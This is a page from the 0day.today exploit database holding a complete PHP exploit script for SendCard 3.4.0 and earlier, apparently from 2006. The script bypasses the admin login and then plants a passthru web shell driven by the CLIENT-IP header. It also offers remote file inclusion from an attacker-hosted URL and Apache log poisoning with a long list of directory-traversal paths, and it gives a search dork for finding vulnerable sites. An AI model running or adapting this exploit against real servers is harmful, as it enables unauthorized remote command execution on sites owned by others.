0day.today - Biggest Exploit Database in the World.

Select your language:

Things you should know about 0day.today:

We use one main domain: http://0day.today
Most of the materials is completely FREE
If you want to purchase the exploit / get V.I.P. access or pay for any other service,
you need to buy or earn GOLD

We accept currencies: [contact admin to find more]

We don't want you to use our site as a tool for hacking purposes, so any kind of action that could affect illegaly other users or websites that you don't have right to access will be banned and your account including your data will be destroyed.

Administration of this site uses the official contacts. Beware of impostors!

We DO NOT use Telegram or any messengers / social networks!
Please, beware of scammers!

I am registered user of 0day.today. I don't want to see this screen in future.

What to do first?

Read the [ agreement ]
Read the [ Submit ] rules
Visit the [ faq ] page
[ Register ] profile
Get [ GOLD ]
If you want to [ sell ]
If you want to [ buy ]
If you lost [ Account ]
Any questions [ admin@0day.today ]

Main links

You can contact us by

Mail:

mr.inj3ct0r@gmail.com

Facebook:

Inj3ct0rs

Twitter:

Inj3ct0r

Telegram:

We DO NOT use Telegram or any messengers / social networks!

[ authorization ] [ registration ] [ restore account ]

You can contact us by:

Mail:

mr.inj3ct0r@gmail.com

Facebook:

Inj3ct0rs

Twitter:

Inj3ct0r

Telegram:

We DO NOT use Telegram or any messengers / social networks!

SendCard <= 3.4.0 Unauthorized Administrative Access Exploit

Author

rgod

Risk

[

Security Risk Unsored

]

0day-ID

0day-ID-639

Category

web applications

Date add

02-08-2006

Platform

unsorted

============================================================
SendCard <= 3.4.0 Unauthorized Administrative Access Exploit
============================================================



#!/usr/bin/php -q -d short_open_tag=on
<?
echo "SendCard <= 3.4.0 unauthorized administrative access / remote commands\n";
echo "execution exploit\n";
echo "by rgod rgod@autistici.org\n";
echo "site: http://retrogod.altervista.org\n";
echo "dork: \"Powered by sendcard - an advanced PHP e-card program\"\n\n";

if ($argc<4) {
echo "Usage: php ".$argv[0]." host path action [location] [cmd] OPTIONS\n";
echo "host:      target server (ip/hostname)\n";
echo "path:      path to sendcard\n";
echo "action:    1 -> php injection\n";
echo "           works against magic_quotes_gpc=Off\n";
echo "           2 -> arbitrary remote inclusion\n";
echo "           works against allow_url_fopen=On\n";
echo "           3 -> arbitrary local inclusion\n";
echo "           works regardless of php.ini settings\n";
echo "           and if you succeed to include Apache logs\n";
echo "           4 -> read phpinfo()\n";
echo "[location] a remote http location with the code to include\n";
echo "           needed by 2, with an ending slash\n";
echo "[cmd]:     a shell command, needed by 1-3\n";
echo "Options:\n";
echo "   -p[port]:    specify a port other than 80\n";
echo "   -P[ip:port]: specify a proxy\n";
echo "Example:\n";
echo "php ".$argv[0]." localhost /sendcard/ 1 ls -la\n";
echo "php ".$argv[0]." localhost /sendcard/ 2 http://somehost.com/ ls -la\n";
echo "php ".$argv[0]." localhost /sendcard/ 3 ls -la\n";
echo "php ".$argv[0]." localhost /sendcard/ 4 > phpinfo.html\n";
echo "php ".$argv[0]." localhost /sendcard/ 4 -p81> phpinfo.html\n";
echo "php ".$argv[0]." localhost /sendcard/ 4 -P1.1.1.1:80 > phpinfo.html\n";
echo "note: for action 2 you need this code in http://somehost.com/sendcard_setup.php/index.html :\n";
echo "<?php set_time_limit(0);echo 'sun-tzu';passthru(\$_SERVER(\"HTTP_CLIENT_IP\");echo 'sun-tzu';die;?>\n";
die;
}

/*
software site: http://www.sendcard.org/

vulnerable code in admin/prepend.php near lines 32-34:

[*]
...
	if(!isset($_SESSION['session']["password"]) || $_SESSION['session']["password"] != ADMIN_PASSWORD) {
		header("Location: login.php?redirect=" . basename($_SERVER['PHP_SELF']));
	}
...

should be instead:

[**]
...
if(!isset($_SESSION['session']["password"]) || $_SESSION['session']["password"] != ADMIN_PASSWORD) {
		header("Location: login.php?redirect=" . basename($_SERVER['PHP_SELF']));
		die; // <---------------------[! ;)]
	}
...

[*] is included by all scripts in admin/ folder
this means that maybe redirection works if you try to access the admin scripts
through the browser... but what happens if you do the bad work through a script? eheheheheheh

so you can have access to all admin scripts to...
(1) inject php code in config.php through admin/setup.php script,
    this works fine with magic_quotes_gpc = Off
(2) inject an arbitrary http location in config.php and go to admin/mod_stats.php
    to include evil code from it, this works with allow_url_fopen=On
(3) include an arbitrary file from local resource thorugh admin/mod_stats.php,
    ex: apache logs, this works regardless of php.ini settings...
(4) see phpinfo() through admin/mod_phpinfo.php to choose which exploitation method
    is better eheheheheheheh

									      */
error_reporting(0);
ini_set("max_execution_time",0);
ini_set("default_socket_timeout",5);

function quick_dump($string)
{
  $result='';$exa='';$cont=0;
  for ($i=0; $i<=strlen($string)-1; $i++)
  {
   if ((ord($string[$i]) <= 32 ) | (ord($string[$i]) > 126 ))
   {$result.="  .";}
   else
   {$result.="  ".$string[$i];}
   if (strlen(dechex(ord($string[$i])))==2)
   {$exa.=" ".dechex(ord($string[$i]));}
   else
   {$exa.=" 0".dechex(ord($string[$i]));}
   $cont++;if ($cont==15) {$cont=0; $result.="\r\n"; $exa.="\r\n";}
  }
 return $exa."\r\n".$result;
}
$proxy_regex = '(\b\d{1,3}\.\d{1,3}\.\d{1,3}\.\d{1,3}\:\d{1,5}\b)';
function sendpacketii($packet)
{
  global $proxy, $host, $port, $html, $proxy_regex;
  if ($proxy=='') {
    $ock=fsockopen(gethostbyname($host),$port);
    if (!$ock) {
      echo 'No response from '.$host.':'.$port; die;
    }
  }
  else {
   $c = preg_match($proxy_regex,$proxy);
    if (!$c) {
      echo 'Not a valid proxy...';die;
    }
    $parts=explode(':',$proxy);
    echo "Connecting to ".$parts[0].":".$parts[1]." proxy...\r\n";
    $ock=fsockopen($parts[0],$parts[1]);
    if (!$ock) {
      echo 'No response from proxy...';die;
   }
  }
  fputs($ock,$packet);
  if ($proxy=='') {
    $html='';
    while (!feof($ock)) {
      $html.=fgets($ock);
    }
  }
  else {
    $html='';
    while ((!feof($ock)) or (!eregi(chr(0x0d).chr(0x0a).chr(0x0d).chr(0x0a),$html))) {
      $html.=fread($ock,1);
    }
  }
  fclose($ock);
}

$c=4;$host=$argv[1];$path=$argv[2];$action=(int)$argv[3];
if ($action==2) {$location=$argv[4]; $c=5;}$cmd="";$port=80;$proxy="";
for ($i=$c; $i<$argc; $i++){
$temp=$argv[$i][0].$argv[$i][1];
if ($action<>4)
{
if (($temp<>"-p") and ($temp<>"-P"))
{$cmd.=" ".$argv[$i];}
}
if ($temp=="-p")
{
  $port=str_replace("-p","",$argv[$i]);
}
if ($temp=="-P")
{
  $proxy=str_replace("-P","",$argv[$i]);
}
}
if (($path[0]<>'/') or ($path[strlen($path)-1]<>'/')) {echo 'Error... check the path!'; die;}
if ($proxy=='') {$p=$path;} else {$p='http://'.$host.':'.$port.$path;}

if ($action==1)
{
   $shell='suntzu");set_time_limit(0);echo "sun-tzu";passthru($_SERVER["HTTP_CLIENT_IP"]);echo "sun-tzu";die("suntzu';
   $data="-----------------------------7d529a1d23092a\r\n";
   $data.="Content-Disposition: form-data; name=\"cfg_docroot\";\r\n";
   $data.="Content-Type:\r\n\r\n";
   $data.="$shell\r\n";
   $data.="-----------------------------7d529a1d23092a--\r\n";
   $packet="POST ".$p."admin/setup.php?save=1 HTTP/1.0\r\n";
   $packet.="Content-Type: multipart/form-data; boundary=---------------------------7d529a1d23092a\r\n";
   $packet.="Content-Length: ".strlen($data)."\r\n";
   $packet.="Host: ".$host."\r\n";
   $packet.="Connection: Close\r\n\r\n";
   $packet.=$data;
   sendpacketii($packet);
   sleep(1);
   $packet="GET ".$p."admin/config.php HTTP/1.0\r\n";
   $packet.="CLIENT-IP: $cmd\r\n";
   $packet.="Host: ".$host."\r\n";
   $packet.="Connection: Close\r\n\r\n";
   sendpacketii($packet);
   if (strstr($html,"sun-tzu"))
   {
   echo "exploit succeeded...\n";
   $temp=explode("sun-tzu",$html);
   die($temp[1]);
   }
   else
   {
   echo "exploit failed...";
   //debug
   //echo $html;
   }
}
elseif ($action==2)
{
   $data="-----------------------------7d529a1d23092a\r\n";
   $data.="Content-Disposition: form-data; name=\"cfg_docroot\";\r\n";
   $data.="Content-Type:\r\n\r\n";
   $data.="$location\r\n";
   $data.="-----------------------------7d529a1d23092a--\r\n";
   $packet="POST ".$p."admin/setup.php?save=1 HTTP/1.0\r\n";
   $packet.="Content-Type: multipart/form-data; boundary=---------------------------7d529a1d23092a\r\n";
   $packet.="Content-Length: ".strlen($data)."\r\n";
   $packet.="Host: ".$host."\r\n";
   $packet.="Connection: Close\r\n\r\n";
   $packet.=$data;
   sendpacketii($packet);
   $packet="GET ".$p."admin/mod_stats.php HTTP/1.0\r\n";
   $packet.="CLIENT-IP: $cmd\r\n";
   $packet.="Host: ".$host."\r\n";
   $packet.="Connection: Close\r\n\r\n";
   sendpacketii($packet);
   if (strstr($html,"sun-tzu"))
   {
   echo "exploit succeeded...\n";
   $temp=explode("sun-tzu",$html);
   die($temp[1]);
   }
   else
   {
   //debug
   echo $html;
   echo "exploit failed...see html to adjust the path...";
   }
}
elseif ($action==3)
{
$CODE="<?php set_time_limit(0);echo chr(115).chr(117).chr(110).chr(45).chr(116).chr(122).chr(117);passthru(\$_SERVER[HTTP_CLIENT_IP]);echo chr(115).chr(117).chr(110).chr(45).chr(116).chr(122).chr(117);die;?>";
$packet="GET ".$p.$CODE." HTTP/1.1\r\n";
$packet.="User-Agent: ".$CODE."\r\n";
$packet.="Host: ".$host."\r\n";
$packet.="Connection: close\r\n\r\n";
#debug
#echo quick_dump($packet);
sendpacketii($packet);
sleep(2);
$paths= array (
"../../../../../../../../../../var/log/httpd/access_log",
"../../../../../../../../../../var/log/httpd/error_log",
"../apache/logs/error.log",
"../apache/logs/access.log",
"../../apache/logs/error.log",
"../../apache/logs/access.log",
"../../../apache/logs/error.log",
"../../../apache/logs/access.log",
"../../../../apache/logs/error.log",
"../../../../apache/logs/access.log",
"../../../../../apache/logs/error.log",
"../../../../../apache/logs/access.log",
"../logs/error.log",
"../logs/access.log",
"../../logs/error.log",
"../../logs/access.log",
"../../../logs/error.log",
"../../../logs/access.log",
"../../../../logs/error.log",
"../../../../logs/access.log",
"../../../../../logs/error.log",
"../../../../../logs/access.log",
"../../../../../../../../../../etc/httpd/logs/acces_log",
"../../../../../../../../../../etc/httpd/logs/acces.log",
"../../../../../../../../../../etc/httpd/logs/error_log",
"../../../../../../../../../../etc/httpd/logs/error.log",
"../../../../../../../../../../var/www/logs/access_log",
"../../../../../../../../../../var/www/logs/access.log",
"../../../../../../../../../../usr/local/apache/logs/access_log",
"../../../../../../../../../../usr/local/apache/logs/access.log",
"../../../../../../../../../../var/log/apache/access_log",
"../../../../../../../../../../var/log/apache/access.log",
"../../../../../../../../../../var/log/access_log",
"../../../../../../../../../../var/www/logs/error_log",
"../../../../../../../../../../var/www/logs/error.log",
"../../../../../../../../../../usr/local/apache/logs/error_log",
"../../../../../../../../../../usr/local/apache/logs/error.log",
"../../../../../../../../../../var/log/apache/error_log",
"../../../../../../../../../../var/log/apache/error.log",
"../../../../../../../../../../var/log/access_log",
"../../../../../../../../../../var/log/error_log"
);

for ($i=0; $i<count($paths); $i++)
{
  echo "trying with $paths[$i] for plugin_file argument\r\n";
  $packet="GET ".$p."admin/mod_plugins.php HTTP/1.0\r\n";
  $packet.="Host: ".$host."\r\n";
  $packet.="CLIENT-IP: $cmd\r\n";
  $packet.="Cookie: plugin_file=".urlencode($paths[$i]).";\r\n";
  $packet.="Connection: Close\r\n\r\n";
  sendpacketii($packet);
  if (strstr($html,"sun-tzu"))
  {
  echo "exploit succeeded...\n\n";
  $temp=explode("sun-tzu",$html);
  echo $temp[1]; die;
  }
}
//if you are here...
die("exploit failed...");
}
elseif ($action==4)
{
   $packet="GET ".$p."admin/mod_phpinfo.php HTTP/1.0\r\n";
   $packet.="Host: ".$host."\r\n";
   $packet.="Connection: Close\r\n\r\n";
   sendpacketii($packet);
   $temp=explode("<!DOCTYPE",$html); //remove http headers
   echo "<!DOCTYPE".$temp[1];
}
else echo ("specify an action [1-4]...");
?>




#  0day.today [2024-11-16]  #

We DO NOT use Telegram or any messengers / social networks!

Please, beware of scammers!

SendCard <= 3.4.0 Unauthorized Administrative Access Exploit

Report Error

Report Error